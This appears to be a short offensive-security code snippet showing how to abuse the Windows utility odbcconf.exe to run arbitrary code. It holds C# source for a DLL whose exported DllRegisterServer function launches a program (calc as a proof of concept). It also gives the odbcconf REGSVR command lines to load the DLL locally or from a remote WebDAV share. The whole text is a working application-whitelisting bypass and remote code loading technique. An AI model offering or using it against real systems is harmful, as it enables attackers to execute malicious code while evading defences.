Download and execute arbitrary code with odbcconf.exe

odbcconf.cs

/*
To use with odbcconf.exe:

odbcconf /S /A {REGSVR odbcconf.dll}

or, from a remote location (if WebDAV support enabled):
odbcconf /S /A {REGSVR \\webdavaserver\dir\odbcconf.dll}
*/

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using RGiesecke.DllExport;

namespace odbcconf
{
    public class RegSvr
    {

        [DllExport("DllRegisterServer", CallingConvention = CallingConvention.StdCall)]
        public static bool DllRegisterServer()
        {
            Process proc = Process.Start(new ProcessStartInfo { FileName = "calc" });
            return true;
        }
    }
}